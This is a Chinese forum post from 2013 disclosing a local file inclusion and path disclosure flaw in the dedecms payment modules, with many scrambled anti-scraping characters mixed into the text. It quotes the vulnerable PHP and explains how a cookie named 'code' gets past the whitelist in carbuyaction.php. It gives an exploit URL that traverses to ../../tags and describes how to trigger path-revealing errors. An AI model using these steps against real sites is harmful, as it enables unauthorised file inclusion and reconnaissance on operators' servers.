找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1933|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯): Q7 u2 ]( y, i+ Z* F7 A3 m
7 E! w: |) r* I* B6 q% D! S
出现漏洞的两个文件为:
7 S/ A+ B1 g* ?2 R! X2 Z9 c9 {Include/payment/alipay.php
* U' W9 \. B5 U1 g5 w# k0 j1 j% cInclude/payment/yeepay.php
* y" {1 `& ~0 w! {' {漏洞均出现在respond方法里,估计这两个文件是临时工写的。
& ?& J/ D) \* u1 x/ c4 D
0 Q4 z$ @2 ]# A) o% N8 z" sInclude/payment/alipay.php0 x0 k  B7 c& R0 w! d
: F0 V$ w& Y8 Q5 o0 u+ o
......, H5 A/ g' Y3 a- b2 J
   function respond()) }; G5 V4 ~+ x+ O# M3 h; w3 x8 {
    {5 H' q% N9 ]6 {' g' r
        if (!empty($_POST))
1 ~6 w" Z; T$ C! q2 m) F        {
$ x# m% M: d6 \, W" M            foreach($_POST as $key => $data)" `' i+ J' {7 k) Y: C' u& R
            {; R6 ]* h! ]' e9 t) B0 ?) [: h* R
                $_GET[$key] = $data;8 y2 K$ `! S- h* T8 M/ k* W9 y
            }7 }' k" ?; l  q# g/ x2 E
        }& P) r+ u" r$ u* X7 F
        /* 引入配置文件 */' o2 i; O1 j- [' S: y- J  j5 \
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';/ D$ F; e+ c0 M4 Z- r+ d; n
...... 4 M- W: T9 G1 Y" p3 j

, J. ~, _; l. E5 P9 y  W" c/ w& _; f( u3 R. [
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。5 a: a0 J' g8 F. v6 b

* f& i% h* R; r# p) y, ]9 @Include/payment/yeepay.php
: o7 w4 T9 y7 }" k7 j  Z2 d9 c/ l9 q/ w1 E' ]

4 o' I- i  I1 Y. v9 w
+ K& f9 Z  G6 C+ t6 Q: N% p......
5 g8 S/ S& j: |. J1 |    function respond()
- ^% P" o) W( J' |    {
8 z5 g, E5 Q7 v
: c2 r5 N& S" u; S, c' |' H! ~5 x# ]        /* 引入配置文件 */7 C# H3 q3 c! k" c" A
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
6 ?2 L5 [2 t- v. D- }! G 8 S! o1 ~& h0 z4 ^8 S% o; T
        $p1_MerId = trim($payment['yp_account']);
/ v; E+ L8 w2 y' h3 [6 T; T/ Q        $merchantKey = trim($payment['yp_key']);1 L5 w) K: L4 }% A  P( t
......
) Z# r' J$ E, w/ c
/ ?) S) j) l5 @! s  n" C5 P; S! b" L: e0 |

5 R  W. {/ J# J/ U5 z2 A+ w7 {, Y- q5 k7 i9 P9 b
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。% J8 Z* e: i7 _8 ^# z% l
  u5 v; B3 o6 _6 I4 P! j3 ^0 n7 \# G
这两个方法在plus/carbuyaction.php文件调用。. V, M- l5 M9 ~4 `1 Q6 p, d8 s4 |4 I

0 c3 M# \6 D) d8 f( Splus/carbuyaction.php2 l, k6 j2 R' j! r8 J) g  @5 R. F1 I

( U! _& z! ^4 ]* M. {8 A......9 r" P7 P7 E  r
} else if ($dopost == 'return') {/ A7 l$ y6 c+ P
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');0 ^" J) v" b; i& a% s" P% [' ?& @
    if (in_array($code, $write_list))
: T& t$ U0 E* b  x: F4 c" h    {4 ]% D0 |7 ?( u8 j/ n: F6 v4 l8 _
        require_once DEDEINC.'/payment/'.$code.'.php';; L: I% V% P& O$ P
        $pay = new $code;, Y7 T1 t6 }' Q5 M5 v! n
        $msg=$pay->respond();' e7 p, i: r, V: r4 h1 o% T
        ShowMsg($msg, "javascript:;", 0, 3000);
. t/ }0 _/ L0 `9 d/ G1 X        exit();  
* A  j+ ]4 a- y0 f0 \1 V. Y    } else {
$ O" M, F# G! V1 }- h- @; v        exit('Error:File Type Can\'t Recognized!');7 J, Y( O( O# f  ~: \( {
    }
5 ^7 c8 B! h8 j8 l! a  K4 z}
" t( o$ i. T2 P2 Z$ |; |; r1 P7 O......
- P; r! \+ Y2 a2 E+ f* } 3 e$ E4 U& ]. X! L6 p2 e3 S

$ Y5 ^# Z' I3 X# v5 o# x 5 q& s+ m$ `% k

# j% y$ q7 Q; j) j; b# p  r3 P
) j7 ?0 h! n) K  _/ o: S0 s9 O+ i! k5 L7 [
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
5 a. c) M# @5 b* v+ w  ^- x所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。5 [- p$ D9 s) ~/ h' u0 u1 B8 c. {
0 e$ O5 A) j/ Z6 W! ]
回到include/common.inc.php来看看他的机制。
8 i- |% I# Y. x
0 e! G5 |! L' T  M9 L
" ]- E3 G' u; O; x8 |6 k; g
. K8 G0 ?* d4 J$ S3 B, k......
2 Z3 M; }8 _% Lforeach(Array('_GET','_POST','_COOKIE') as $_request)! h* h! P/ T* ?% z* U8 T+ O( g
{% U+ `- I; f1 A
        foreach($$_request as $_k => $_v) 5 ?# ?: C6 T* k) l* ?! t
        {
$ M4 z0 j- {  u+ \/ c                if($_k == 'nvarname') ${$_k} = $_v;2 @& M9 D- L2 v/ K7 }" m2 k+ g
                else ${$_k} = _RunMagicQuotes($_v);  k, P4 W8 g1 ?( x
        }
( ^. A2 ]; e6 x6 w  ?3 d/ k}
, J. D5 w8 \4 b1 d5 d- O  r9 e- ^...... 6 h' q! b8 d* o: p* j$ m; C# N/ n
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
/ Q+ j9 G; y3 y; N. v由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表